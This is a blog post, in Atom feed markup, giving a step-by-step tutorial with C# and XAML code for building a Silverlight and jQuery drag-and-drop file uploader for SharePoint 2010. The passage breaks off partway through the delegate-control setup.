gd:etag="W/&quot;A0EERXg7cSp7ImA9Wx9VEU0.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-8113857853486613958</id><published>2010-12-11T11:58:00.009+01:00</published><updated>2011-01-27T07:26:44.609+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-01-27T07:26:44.609+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="JavaScript" /><category scheme="http://www.blogger.com/atom/ns#" term=".NET" /><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint 2010" /><category scheme="http://www.blogger.com/atom/ns#" term="jquery" /><category scheme="http://www.blogger.com/atom/ns#" term="c#" /><title>Building a Silverlight &amp; jQuery powered drag'n'drop-from-desktop uploader for SharePoint 2010</title><content type="html">&lt;b&gt;This is a cross-post from &lt;a href="https://www.nothingbutsharepoint.com" target="_blank"&gt;NothingButSharePoint.com&lt;/a&gt;. Head over to the &lt;a target="_blank" href="https://www.nothingbutsharepoint.com/sites/devwiki/Pages/default.aspx"&gt;developer section&lt;/a&gt; for more SharePoint articles.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Introduction&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The scope of this article is to demonstrate how to build a custom SharePoint file uploader, which will essentially let the user drag files straight into the web browser, and drop them onto either a document library, or a document library web part.&lt;br /&gt;&lt;br /&gt;Contrary to the default uploaders in SharePoint, it will require no clicks or ribbon navigation to upload the files - and it quite efficiently deals with multiple files.&lt;br /&gt;&lt;br /&gt;&lt;object id="scPlayer" class="embeddedObject" width="575" height="341" type="application/x-shockwave-flash" data="http://content.screencast.com/users/einaros/folders/Jing/media/db808531-2910-45ee-87f7-ee777988d4e0/jingh264player.swf" &gt; &lt;param name="movie" value="http://content.screencast.com/users/einaros/folders/Jing/media/db808531-2910-45ee-87f7-ee777988d4e0/jingh264player.swf" /&gt; &lt;param name="quality" value="high" /&gt; &lt;param name="bgcolor" value="#FFFFFF" /&gt; &lt;param name="flashVars" value="thumb=http://content.screencast.com/users/einaros/folders/Jing/media/db808531-2910-45ee-87f7-ee777988d4e0/FirstFrame.jpg&amp;containerwidth=575&amp;containerheight=341&amp;content=http://content.screencast.com/users/einaros/folders/Jing/media/db808531-2910-45ee-87f7-ee777988d4e0/2010-12-11_1209.mp4&amp;blurover=false" /&gt; &lt;param name="allowFullScreen" value="true" /&gt; &lt;param name="scale" value="showall" /&gt; &lt;param name="allowScriptAccess" value="always" /&gt; &lt;param name="base" value="http://content.screencast.com/users/einaros/folders/Jing/media/db808531-2910-45ee-87f7-ee777988d4e0/" /&gt; &lt;iframe type="text/html" frameborder="0" scrolling="no" style="overflow:hidden;" src="http://www.screencast.com/users/einaros/folders/Jing/media/db808531-2910-45ee-87f7-ee777988d4e0/embed" height="341" width="575" &gt;&lt;/iframe&gt; &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Learning Points&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The solution demonstrates use of:&lt;ul&gt;&lt;li&gt;Using &lt;i&gt;delegate controls&lt;/i&gt; to add user controls (.ascx) to the various SharePoint pages&lt;br /&gt;&lt;li&gt;Loading &lt;i&gt;jQuery&lt;/i&gt; and other script dependencies through use of a custom &lt;i&gt;script loader&lt;/i&gt;&lt;br /&gt;&lt;li&gt;Using the &lt;i&gt;jQuery Templates&lt;/i&gt; plugin in a SharePoint 2010 setting&lt;br /&gt;&lt;li&gt;Dynamically loading and communicating with &lt;i&gt;Silverlight&lt;/i&gt; from JavaScript&lt;br /&gt;&lt;li&gt;Handling &lt;i&gt;Desktop Drag events&lt;/i&gt; in the browser and Silverlight&lt;br /&gt;&lt;li&gt;Uploading files to SharePoint, using the standard &lt;i&gt;REST&lt;/i&gt; services&lt;br /&gt;&lt;li&gt;Microsoft's &lt;i&gt;Reactive Extensions&lt;/i&gt; (Rx) framework, for asynchronous operations&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Requirements&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Going deep into each step of this article would be way beyond any practical scope, so I'm assuming that the user has at least basic knowledge of SharePoint 2010 as a development platform, and some experience with JavaScript and Silverlight.&lt;br /&gt;&lt;br /&gt;Additionally, there are some software dependencies:&lt;ul&gt;&lt;li&gt;&lt;a target="_blank" href="http://cksdev.codeplex.com"&gt;CKS Dev&lt;/a&gt;&lt;br /&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.silverlight.net"&gt;Silverlight tools for Visual Studio 2010&lt;/a&gt;&lt;br /&gt;&lt;li&gt;&lt;a target="_blank" href="http://msdn.microsoft.com/en-us/devlabs/ee794896.aspx"&gt;Microsoft Reactive Extensions for Silverlight 4&lt;/a&gt;&lt;br /&gt;&lt;li&gt;&lt;a target="_blank" href="http://dl.dropbox.com/u/1878671/SharePoint/Grep.SharePoint.CoreJS.zip"&gt;My open source core javascript library&lt;/a&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Step 1 - Creating the Visual Studio solution&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Open Visual Studio, and start a new "Empty SharePoint Project". Name it DesktopUploader, or pick another name that suits you better (do note that selecting another name will require changes to various strings further down in this article).&lt;br /&gt;&lt;br /&gt;&lt;img width="575" src="http://dl.dropbox.com/u/1878671/Articles/uploader/DeskUpload_emptyproject.png"/&gt;&lt;br /&gt;&lt;br /&gt;Next, select to deploy it as a farm solution, and enter the URL of your SharePoint development portal.&lt;br /&gt;&lt;br /&gt;Now that the Visual Studio Solution is started, and we've got the SharePoint project in place, we need to add the Silverlight project.&lt;br /&gt;&lt;br /&gt;Go to File -&gt; Add -&gt; New Project, and select the "Silverlight Application" template.&lt;br /&gt;&lt;br /&gt;&lt;img width="575" src="http://dl.dropbox.com/u/1878671/Articles/uploader/DeskUpload_newsilverlight.png"/&gt;&lt;br /&gt;&lt;br /&gt;In the next frame, make sure you deselect "Host the Silverlight application in a new Web site", and that Silverlight Version is set to 4.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://dl.dropbox.com/u/1878671/Articles/uploader/DeskUpload_newsilverlight2.png"/&gt;&lt;br /&gt;&lt;br /&gt;Now that the Silverlight app is created, we'll add a reference to Microsoft's Reactive Extensions. If you downloaded and installed them from the link provided above, you should be able to right click the Silverlight project's node in the solution Explorer, and select "Add Reference".&lt;br /&gt;&lt;br /&gt;Navigate to "C:\Program Files (x86)\Microsoft Cloud Programmability\Reactive Extensions\v1.0.2787.0\SL4", and select the top four dlls, then click ok.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://dl.dropbox.com/u/1878671/Articles/uploader/DeskUpload_referencerx.png"/&gt;&lt;br /&gt;&lt;br /&gt;What we'll want to do next, is make sure that the Silverlight project copies its output to one of the folders the SharePoint project deploys.&lt;br /&gt;&lt;br /&gt;Note that this is something you could do with a Project Output Reference added to a Module project item (&lt;a href="http://msdn.microsoft.com/en-us/library/ff798492.aspx" target="_blank"&gt;details here&lt;/a&gt;). If you wish to deploy the Silverlight application to a gallery within the site -- such as an assets library, or the master page gallery -- a Project Output Reference is certainly the way to go. For deployments to Layouts, or any of the other file system location on the frontend servers, Project Output References are of no help.&lt;br /&gt; &lt;br /&gt;For this article we'll stick to Layouts folder deployment of the Silverlight application. This gives us the opportunity to use CKS:DEV to quick deploy the Silverlight app while we're developing it - rather than pushing files to the database for each rebuild. Once stable and ready for deployment, you may want to switch to the Module (and Project Output Reference) approach.&lt;br /&gt;&lt;br /&gt;Right click the Silverlight project's node in the Solution Explorer and click "Settings" at the bottom. Once the property panes are open, go to "Build Events" tab, and enter the update the "Post-build" event command line:&lt;br /&gt;&lt;br /&gt;copy /Y "$(TargetDir)$(TargetName).xap" "$(SolutionDir)DesktopUploader\Layouts\DesktopUploader\"&lt;br /&gt;&lt;br /&gt;If you named the SharePoint project something other than DesktopUploader, you'll have to update the string above in two places.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://dl.dropbox.com/u/1878671/Articles/uploader/DeskUpload_buildevents.png"/&gt;&lt;br /&gt;&lt;br /&gt;Close the project properties, and the Project menu on the top menu bar. From there, select "Project Dependencies", and pick the "Desktop Uploader" project from the dropdown. Next make sure the checkbox next to the Silverlight project's name is checked.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://dl.dropbox.com/u/1878671/Articles/uploader/DeskUpload_dependencies.png"/&gt;&lt;br /&gt;&lt;br /&gt;This ensures that the Silverlight project is built before the SharePoint project, and that we'll thus get an updated Silverlight .xap file to deploy.&lt;br /&gt;&lt;br /&gt;The final piece of the build-centric configuration tasks is to map the Layouts folder into the SharePoint project. This is tied to the build event configuration above, meaning that we'll be deploying the Silverlight .xap to a folder within the SharePoint Layouts folder.&lt;br /&gt;&lt;br /&gt;Right click the SharePoint project node in the solution explorer, open the Add menu and click "SharePoint 'Layouts' Mapped Folder". Now build the solution once, and right click the DesktopUploader folder within the mapped Layouts folder in the solution explorer. Select Add -&gt; Existing Item.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://dl.dropbox.com/u/1878671/Articles/uploader/DeskUpload_addexisting.png"/&gt;&lt;br /&gt;&lt;br /&gt;Navigate to the DesktopUploader project folder, and find Layouts within that, and finally DesktopUploader. Inside that folder, pick the .xap file and click Add.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://dl.dropbox.com/u/1878671/Articles/uploader/DeskUpload_selectxap.png"/&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 2 - Building the Silverlight uploader&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Silverlight is the workhorse in this solution, in so much that it handles the actual file drop events as well as uploads the files to the server.&lt;br /&gt;&lt;br /&gt;The Silverlight project will consist of:&lt;ul&gt;&lt;li&gt;A view that receives drag and drop events, triggers file sends, and communicates with the JavaScript.&lt;br /&gt;&lt;li&gt;A class which takes care of uploading a file to the SharePoint REST file service.&lt;/ul&gt;&lt;br /&gt;We'll start with the XAML markup. In the MainPage.xaml file, replace the Grid's code with the following:&lt;br /&gt;&lt;pre class="brush: xml;"&gt;&lt;br /&gt;&amp;lt;Grid x:Name=&amp;quot;LayoutRoot&amp;quot;&amp;gt;&lt;br /&gt;    &amp;lt;Border BorderBrush=&amp;quot;DarkSlateBlue&amp;quot; BorderThickness=&amp;quot;3&amp;quot;&amp;gt;&lt;br /&gt;        &amp;lt;TextBlock VerticalAlignment=&amp;quot;Center&amp;quot; HorizontalAlignment=&amp;quot;Center&amp;quot; FontSize=&amp;quot;14&amp;quot; Foreground=&amp;quot;DarkSlateBlue&amp;quot;&amp;gt;&lt;br /&gt;            Drop files here to upload&lt;br /&gt;        &amp;lt;/TextBlock&amp;gt;&lt;br /&gt;    &amp;lt;/Border&amp;gt;&lt;br /&gt;    &amp;lt;Rectangle&lt;br /&gt;      AllowDrop=&amp;quot;True&amp;quot;&lt;br /&gt;      Drop=&amp;quot;OnDrop&amp;quot;&lt;br /&gt;      DragLeave=&amp;quot;OnDragLeave&amp;quot; &lt;br /&gt;      DragEnter=&amp;quot;OnDragEnter&amp;quot; &lt;br /&gt;      Fill=&amp;quot;Transparent&amp;quot;&amp;gt;&amp;lt;/Rectangle&amp;gt;&lt;br /&gt;&amp;lt;/Grid&amp;gt;&lt;/pre&gt;&lt;br /&gt;This markup will draw two overlapping structures. One transparent overlay (the Rectangle), and a Border with some text in the center. The event handlers have to be defined in a transparent overlay, rather than the LayoutRoot, to get consistent events for the whole Silverlight. Had there not been an overlay, and LayoutRoot received the events, DragLeave and DragEnter would fire as the mouse dragged past the other elements (such as the TextBlock). For reasons obvious later, we need DragEnter to fire once as the mouse drags onto the Silverlight app, and DragLeave to fire once as we drag off it.&lt;br /&gt;&lt;br /&gt;The codebehind for this page will mainly process and act upon the drag events. We'll deal with the rather simple DragEnter and DragLeave first.&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;private void OnDragEnter(object sender, DragEventArgs e)&lt;br /&gt;{&lt;br /&gt;    HtmlPage.Window.Eval(&amp;quot;window.SLFileDrop.onDragEntersDropZone()&amp;quot;);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;private void OnDragLeave(object sender, DragEventArgs e)&lt;br /&gt;{&lt;br /&gt;    HtmlPage.Window.Eval(&amp;quot;window.SLFileDrop.onDragLeavesDropZone()&amp;quot;);&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;Both of these events are offloaded for processing by the JavaScript. HtmlPage.Window.Eval allows Silverlight to evaluate and execute JavaScript within the browser, and as such retrieve / send information to the scripts present on the page. The objects and methods referenced in the snippet above, e.g. SLFileDrop and onDragEntersDropZone, haven't been defined yet - we'll get back to those when we type up the JavaScript. &lt;br /&gt;&lt;br /&gt;Moving on to the OnDrop handler.&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;private void OnDrop(object sender, DragEventArgs e)&lt;br /&gt;{&lt;br /&gt;    try&lt;br /&gt;    {&lt;br /&gt;        string rootUrl = HtmlPage.Window.Eval(&amp;quot;window.SLFileDrop.getRootUrl()&amp;quot;) as string;&lt;br /&gt;        if (rootUrl == null) return;&lt;br /&gt;        HtmlPage.Window.Eval(&amp;quot;window.SLFileDrop.onDrop()&amp;quot;);&lt;br /&gt;        var files = e.Data.GetData(DataFormats.FileDrop) as FileInfo[];&lt;br /&gt;        IEnumerable&amp;lt;FileInfo&amp;gt; filesToUpload = files.Where(file =&amp;gt; file.Exists);&lt;br /&gt;        UploadFilesAsync(filesToUpload, rootUrl + (rootUrl.EndsWith(&amp;quot;/&amp;quot;) ? &amp;quot;&amp;quot; : &amp;quot;/&amp;quot;));&lt;br /&gt;    }&lt;br /&gt;    catch (Exception ex)&lt;br /&gt;    {&lt;br /&gt;        DisplayErrorMessage(ex);&lt;br /&gt;    }&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;This demonstrates information fetching from the JavaScript, as getRootUrl is called - a method which returns the url of the document library folder we are to send the file to. &lt;br /&gt;&lt;br /&gt;The main piece to this method is the retrieval of the files dropped onto the application, which are returned by the call to GetData. We then go on to pick files who's Exists flag is set to true, and pass them on to another method of ours - the asynchronous uploader.&lt;br /&gt;&lt;br /&gt;And that's where it all seems to get complex.&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;private void UploadFilesAsync(IEnumerable&amp;lt;FileInfo&amp;gt; filesToUpload, string folderUrl)&lt;br /&gt;{&lt;br /&gt;    IDisposable uploadTaskDisposable = null;&lt;br /&gt;    uploadTaskDisposable =&lt;br /&gt;        (from file in filesToUpload&lt;br /&gt;         select BeginUploadFile(file, folderUrl))&lt;br /&gt;            .Merge().Skip(filesToUpload.Count() - 1)&lt;br /&gt;            .ObserveOnDispatcher()&lt;br /&gt;            .Subscribe(&lt;br /&gt;                o =&amp;gt;&lt;br /&gt;                    {&lt;br /&gt;                        UploadComplete();&lt;br /&gt;                        uploadTaskDisposable.Dispose();&lt;br /&gt;                    },&lt;br /&gt;                exception =&amp;gt; DisplayErrorMessage(exception));&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;The goal of Microsoft's Reactive Extensions framework is to simplify event driven programming. Silverlight applications, and most other GUI aplications, for the most react to some UI event - and either produce a response immediately (synchronously), or at some later point in time (asynchronously). In the case of our application, we react to drop events, and start long running uploads which will themselves raise events when they are done. The glue code in our Silverlight application can thus be thought to sit in the middle and _observe_ events from sources around it. Rx turns events and synchronous calls into IObservable sequences.&lt;br /&gt;&lt;br /&gt;To get a better hold on what's going on in the code above, and what we'll be doing in the following methods, let us start by getting a hold of what we're actually trying to express.&lt;br /&gt;&lt;br /&gt;For each of the files dropped on the Silverlight application, we want to start a new upload task. For each such new upload task, we want to have periodic updates on progress, as well as be notified when the upload finishes. When we've received completion events for all files, we want to notify the JavaScript that we're all done.&lt;br /&gt;&lt;br /&gt;Hence; for each file, it calls BeginUploadFile, and selects the return. This will be an IObservable - and thus the result of the Linq block will be a sequence of observables. The next call merges all of these observable event producers into a single stream of events, from which we can skip all but the last one. The Subscribe call at the end will be raised for the final upload finished event, and will go on to notify the JavaScript about this.&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;private IObservable&amp;lt;IEvent&amp;lt;HttpFileUploader.UploadEventArgs&amp;gt;&amp;gt; BeginUploadFile(FileInfo file, string folderUrl)&lt;br /&gt;{&lt;br /&gt;    var uploader = new HttpFileUploader(Dispatcher, file, &amp;quot;PUT&amp;quot;, new Uri(folderUrl + file.Name, UriKind.Relative));&lt;br /&gt;    var progressDisposable = CatchProgress(file, uploader);&lt;br /&gt;    var finish = CatchUploadFinished(file, uploader);&lt;br /&gt;    finish.Subscribe(s =&amp;gt; progressDisposable.Dispose());&lt;br /&gt;    HtmlPage.Window.Eval(string.Format(&amp;quot;window.SLFileDrop.onUploadStart('{0}')&amp;quot;, file.Name));&lt;br /&gt;    uploader.StartUpload();&lt;br /&gt;    return finish;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;BeginUploadFile will start by creating a new HttpFileUploader - a class I'll soon supply you with - and instruct it to HTTP PUT a file to the url indicated by folderUrl (which we requested from the JavaScript earlier). It then goes on to catch progress events from the uploader, as well as upload finish events. The call to Subscribe on the finish event will ensure that the progressDisposable is released properly once we're no longer interested in progress updates from this single file.&lt;br /&gt;&lt;br /&gt;Finally it will send a notification to the JavaScript, that we've started uploading a named file, and return the finish event observable.&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;private static IDisposable CatchProgress(FileInfo fi, HttpFileUploader uploader)&lt;br /&gt;{&lt;br /&gt;    return Observable.FromEvent&amp;lt;HttpFileUploader.UploadEventArgs&amp;gt;(&lt;br /&gt;        o =&amp;gt; uploader.UploadProgressChanged += o,&lt;br /&gt;        o =&amp;gt; uploader.UploadProgressChanged -= o)&lt;br /&gt;        .Throttle(TimeSpan.FromMilliseconds(250))&lt;br /&gt;        .ObserveOnDispatcher()&lt;br /&gt;        .Subscribe(s =&amp;gt; HtmlPage.Window.Eval(&lt;br /&gt;            string.Format(&amp;quot;window.SLFileDrop.onUploadProgress('{0}', {1}, {2}, {3}, {4})&amp;quot;,&lt;br /&gt;                          fi.Name, s.EventArgs.BytesSent,&lt;br /&gt;                          s.EventArgs.BytesTotal, 0, 0)));&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;Hooking onto progress events employs another Rx trick. It creates an observable sequence from a plain .NET event object (UploadProgressChanged within HttpFileUploader). This observable is then filtered by calling Throttle with a TimeSpan of 250 ms - meaning that we don't want progress updates more often than each quarter of a second.&lt;br /&gt;&lt;br /&gt;For each raised event (that is at most each quarter second), we call back to the JavaScript, notifying it of progress for the named file.&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;private static IObservable&amp;lt;IEvent&amp;lt;HttpFileUploader.UploadEventArgs&amp;gt;&amp;gt; CatchUploadFinished(FileInfo fi, HttpFileUploader uploader)&lt;br /&gt;{&lt;br /&gt;    IObservable&amp;lt;IEvent&amp;lt;HttpFileUploader.UploadEventArgs&amp;gt;&amp;gt; obs =&lt;br /&gt;        Observable.FromEvent&amp;lt;HttpFileUploader.UploadEventArgs&amp;gt;(o =&amp;gt; uploader.UploadFinished += o,&lt;br /&gt;                                                               o =&amp;gt; uploader.UploadFinished -= o);&lt;br /&gt;    obs.Subscribe(s =&amp;gt; HtmlPage.Window.Eval(string.Format(&amp;quot;window.SLFileDrop.onUploadComplete('{0}')&amp;quot;, fi.Name)));&lt;br /&gt;    return obs;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;Catching file upload finished events isn't too different from catching progress events. For each of these events, we notify the JavaScript. Looking back to BeginUploadFile, we'll notice that we don't return a disposable from this method - unlike the CatchProgress method. This is because the finish observable will be be part of the sequence bound in UploadFilesAsync - and will thus be disposed as part of the cleanup going down when all files have finished uploading.&lt;br /&gt;&lt;br /&gt;The missing pieces of the MainPage.xaml.cs file are as follows. There aren't much to them, so I'll leave you to figure out what their purpose is.&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;private static void UploadComplete()&lt;br /&gt;{&lt;br /&gt;    HtmlPage.Window.Eval(&amp;quot;window.SLFileDrop.onAllUploadsComplete()&amp;quot;);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;private static MessageBoxResult DisplayErrorMessage(Exception exception)&lt;br /&gt;{&lt;br /&gt;    return MessageBox.Show(exception.ToString(), &amp;quot;Error&amp;quot;, MessageBoxButton.OK);&lt;br /&gt;}&lt;/pre&gt;  &lt;br /&gt;The following is the complete source listing for the HttpFileUploader class.&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;public class HttpFileUploader&lt;br /&gt;{&lt;br /&gt;    private readonly Dispatcher _dispatcher;&lt;br /&gt;    private readonly FileInfo _file;&lt;br /&gt;    private readonly string _method;&lt;br /&gt;    private readonly Uri _uploadUrl;&lt;br /&gt;    private long _bytesTotal;&lt;br /&gt;    private long _bytesUploaded;&lt;br /&gt;    private FileStream _fileStream;&lt;br /&gt;    private bool _isActive;&lt;br /&gt;&lt;br /&gt;    public HttpFileUploader(Dispatcher dispatcher, FileInfo file, string method, Uri url)&lt;br /&gt;    {&lt;br /&gt;        _dispatcher = dispatcher;&lt;br /&gt;        _file = file;&lt;br /&gt;        _method = method;&lt;br /&gt;        _uploadUrl = url;&lt;br /&gt;        _isActive = false;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    public long BytesUploaded&lt;br /&gt;    {&lt;br /&gt;        get { return _bytesUploaded; }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    public event EventHandler&amp;lt;UploadEventArgs&amp;gt; UploadError;&lt;br /&gt;    public event EventHandler&amp;lt;UploadEventArgs&amp;gt; UploadFinished;&lt;br /&gt;    public event EventHandler&amp;lt;UploadEventArgs&amp;gt; UploadProgressChanged;&lt;br /&gt;&lt;br /&gt;    public bool StartUpload()&lt;br /&gt;    {&lt;br /&gt;        if (_isActive)&lt;br /&gt;        {&lt;br /&gt;            throw new InvalidOperationException(&amp;quot;Uploader is already active&amp;quot;);&lt;br /&gt;        }&lt;br /&gt;        _isActive = true;&lt;br /&gt;        _fileStream = _file.OpenRead();&lt;br /&gt;        var webRequest = (HttpWebRequest)WebRequestCreator.ClientHttp.Create(_uploadUrl);&lt;br /&gt;        webRequest.Method = _method;&lt;br /&gt;        webRequest.ContentType = &amp;quot;multipart/form-data; charset=utf-8&amp;quot;;&lt;br /&gt;        webRequest.BeginGetRequestStream(WriteToStreamCallback, webRequest);&lt;br /&gt;        _bytesUploaded = 0;&lt;br /&gt;        _bytesTotal = _fileStream.Length;&lt;br /&gt;        return true;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    private void InvokeUploadError(string error)&lt;br /&gt;    {&lt;br /&gt;        var args = new UploadEventArgs&lt;br /&gt;        {&lt;br /&gt;            BytesSent = _bytesUploaded,&lt;br /&gt;            BytesTotal = _bytesTotal,&lt;br /&gt;            ErrorMessage = error,&lt;br /&gt;            IsDone = false,&lt;br /&gt;            IsError = true&lt;br /&gt;        };&lt;br /&gt;        EventHandler&amp;lt;UploadEventArgs&amp;gt; handler = UploadError;&lt;br /&gt;        if (handler != null) handler(this, args);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    private void InvokeUploadFinished(HttpStatusCode statusCode)&lt;br /&gt;    {&lt;br /&gt;        var args = new UploadEventArgs&lt;br /&gt;        {&lt;br /&gt;            IsDone = true,&lt;br /&gt;            IsError = false,&lt;br /&gt;            BytesSent = _bytesUploaded,&lt;br /&gt;            BytesTotal = _bytesUploaded,&lt;br /&gt;            StatusCode = statusCode&lt;br /&gt;        };&lt;br /&gt;        EventHandler&amp;lt;UploadEventArgs&amp;gt; handler = UploadFinished;&lt;br /&gt;        if (handler != null) handler(this, args);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    private void InvokeUploadProgressChanged()&lt;br /&gt;    {&lt;br /&gt;        var args = new UploadEventArgs&lt;br /&gt;        {&lt;br /&gt;            IsDone = false,&lt;br /&gt;            IsError = false,&lt;br /&gt;            BytesSent = _bytesUploaded,&lt;br /&gt;            BytesTotal = _bytesTotal&lt;br /&gt;        };&lt;br /&gt;        EventHandler&amp;lt;UploadEventArgs&amp;gt; handler = UploadProgressChanged;&lt;br /&gt;        if (handler != null) handler(this, args);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    private void ReadHttpResponseCallback(IAsyncResult asynchronousResult)&lt;br /&gt;    {&lt;br /&gt;        _isActive = false;&lt;br /&gt;        try&lt;br /&gt;        {&lt;br /&gt;            var webRequest = (HttpWebRequest)asynchronousResult.AsyncState;&lt;br /&gt;            var webResponse = (HttpWebResponse)webRequest.EndGetResponse(asynchronousResult);&lt;br /&gt;            _fileStream.Close();&lt;br /&gt;            _fileStream.Dispose();&lt;br /&gt;            _dispatcher.BeginInvoke(&lt;br /&gt;                () =&amp;gt; InvokeUploadFinished(webResponse.StatusCode));&lt;br /&gt;        }&lt;br /&gt;        catch (Exception e)&lt;br /&gt;        {&lt;br /&gt;            if (_fileStream != null)&lt;br /&gt;            {&lt;br /&gt;                _fileStream.Close();&lt;br /&gt;                _fileStream.Dispose();&lt;br /&gt;                _fileStream = null;&lt;br /&gt;            }&lt;br /&gt;            _isActive = false;&lt;br /&gt;            InvokeUploadError(e.Message);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    private void WriteToStreamCallback(IAsyncResult asynchronousResult)&lt;br /&gt;    {&lt;br /&gt;        try&lt;br /&gt;        {&lt;br /&gt;            var webRequest = (HttpWebRequest)asynchronousResult.AsyncState;&lt;br /&gt;            Stream requestStream = webRequest.EndGetRequestStream(asynchronousResult);&lt;br /&gt;            var buffer = new Byte[131072];&lt;br /&gt;            int bytesRead = 0;&lt;br /&gt;            while ((bytesRead = _fileStream.Read(buffer, 0, buffer.Length)) != 0)&lt;br /&gt;            {&lt;br /&gt;                requestStream.Write(buffer, 0, bytesRead);&lt;br /&gt;                requestStream.Flush();&lt;br /&gt;                _bytesUploaded += bytesRead;&lt;br /&gt;                _dispatcher.BeginInvoke(InvokeUploadProgressChanged);&lt;br /&gt;            }&lt;br /&gt;            requestStream.Close();&lt;br /&gt;            webRequest.BeginGetResponse(ReadHttpResponseCallback, webRequest);&lt;br /&gt;        }&lt;br /&gt;        catch (Exception e)&lt;br /&gt;        {&lt;br /&gt;            if (_fileStream != null)&lt;br /&gt;            {&lt;br /&gt;                _fileStream.Close();&lt;br /&gt;                _fileStream.Dispose();&lt;br /&gt;                _fileStream = null;&lt;br /&gt;            }&lt;br /&gt;            _isActive = false;&lt;br /&gt;            InvokeUploadError(e.Message);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    #region Nested type: UploadEventArgs&lt;br /&gt;&lt;br /&gt;    public class UploadEventArgs : EventArgs&lt;br /&gt;    {&lt;br /&gt;        public long BytesSent { get; set; }&lt;br /&gt;        public long BytesTotal { get; set; }&lt;br /&gt;        public string ErrorMessage { get; set; }&lt;br /&gt;        public bool IsDone { get; set; }&lt;br /&gt;        public bool IsError { get; set; }&lt;br /&gt;        public HttpStatusCode StatusCode { get; set; }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    #endregion&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;Describing this in depth is outside of the scope of this article, but a short sum-up is regardless in order. What it will essentially do is create a new HTTP PUT connection to the SharePoint site, using the ClientHttp stack in Silverlight. The client stack was introduced in Silverlight 3.5, and separates itself from the browser stack mainly as follows: 1. It allows REST HTTP verbs, such as PUT. 2. It doesn't share cookies with the browser, so sites with Basic Authentication will yield a password popup. For scenarios where this uploader is to be used with Basic Auth sites, the HttpUploader will have to be rewritten to not use the REST services (e.g. by deploying a custom WCF upload service capable of POST on the server side).&lt;br /&gt;&lt;br /&gt;The HTTP connection will be established asynchronously, so in terms of our BeginUploadFile described earlier, the call to StartUpload will return immediately.&lt;br /&gt;&lt;br /&gt;This pretty much concludes the Silverlight part of the solution.&lt;br /&gt;&lt;br /&gt;Next up is the SharePoint project.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 3 - Setting up the SharePoint project, adding a delegate and user control&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;What we'll have to do next is add a delegate control to the project, which does the actual script injection. Since we can't know which pages contain document library web parts up front, this will be injected into all the pages of the portal. The pages without a document library view won't be affected. Pages with one or more doclibs on them will have the Silverlight app added, and scripts loaded.&lt;br /&gt;&lt;br /&gt;Right click the SharePoint project's node in the Solution Explorer, and go to Add -&gt; New Item. Go to the SharePoint 2010 templates, and pick "User Control".&lt;br /&gt;&lt;br /&gt;&lt;img width="575" src="http://dl.dropbox.com/u/1878671/Articles/uploader/DeskUpload_usercontrol.png"/&gt;&lt;br /&gt;&lt;br /&gt;Name the control e.g. "DesktopUploader.ascx" and click Add.&lt;br /&gt;&lt;br /&gt;To have this user control injected into the various SharePoint pages, we'll have to reference it from a delegate control. Right click the SharePoint project's node in the Solution Explorer again, and pick "Delegate Control (CKSDev)" from the SharePoint 2010 items.&lt;br /&gt;&lt;br /&gt;&lt;img width="575" src="http://dl.dropbox.com/u/1878671/Articles/uploader/DeskUpload_delegatecontrol.png"/&gt;&lt;br /&gt;&lt;br /&gt;Name the control e.g. "DesktopUploaderDelegate" and click Add.&lt;br /&gt;&lt;br /&gt;In the wizard that follows, enter the following values:&lt;br /&gt;&lt;br /&gt;"Specify the ID of the control": AdditionalPageHead&lt;br /&gt;"Sequence Number": 20&lt;br /&gt;"Specify the relative URL": ~/_ControlTemplates/DesktopUploader/DesktopUploader.ascx&lt;br /&gt;&lt;br /&gt;&lt;img 